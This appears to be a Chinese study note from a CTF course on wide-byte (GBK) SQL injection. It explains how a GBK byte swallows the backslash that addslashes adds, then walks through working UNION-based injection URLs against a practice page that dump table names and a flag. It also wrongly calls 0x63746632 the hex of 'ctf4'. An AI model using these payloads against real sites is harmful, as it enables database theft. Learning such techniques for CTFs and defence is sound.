宽字符注入
注:
1.本文是对安全牛《CTF从入门到提升》课程课时1的记录
基础知识
1.addslashes函数
php中的addslashes()会在单引号('),双引号("),反斜线(\)与NUL(NULL字符)前面加上反斜线,使得这些特殊字符被转义
而在sql注入中,我们经常要用到单引号,因此要想办法从addslashes函数中逃逸出来,办法有两个
\前面再加一个\(或单数个),变成\\',这样\被转义了,'逃出了限制- 把
\弄没 
而宽字符注入就是采用了第二个方法
2.mysql中的gbk编码
gbk编码中英文使用单字节编码,中文部分采用双字节编码
mysql在使用了gbk编码的情况下,如果一个字节大于128(ascii码),则mysql会认为该字节和下一个字节是一个汉字
1  | mysql_query("SET NAMES GBK"); #设置mysql编码为gbk  | 
利用这一点,我们可以把addslashes函数添加的\弄成汉字,从而使用单引号
举个例子:
%df\\' url转码后为%df%5c%27,此时mysql会认为它是 運'
具体例子
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
id=1’时会返回
your sql:select id,title from news where id = ‘1'’
因此可以尝试使用宽字节注入
id=1%aa’ 返回
your sql:select id,title from news where id = ‘1猏’’
使用宽字节注入,成功闭合了单引号,接下来是常规的注入操作
1.猜测列数
id=1%aa%27%20order by 2%23没有报错id=1%aa%27%20order by 3%23报错
因此列数为2
2.获取数据库名和表名
id=-1%aa%27 union select 1,2%23发现2会显示在页面上id=-1%aa%27 union select 1,database()%23获取数据库名为sae-chinaloverid=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 获取表名ctf,ctf2,ctf3,ctf4,news
3.获取列名
id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632%23(0x63746632是ctf4的十六进制形式,因为这里我们没办法使用单引号,所以必须要用十六进制的形式)
4.获取表中内容
id=-1%aa%27%20union%20select%201,group_concat(flag) from ctf4%23获取flag列内容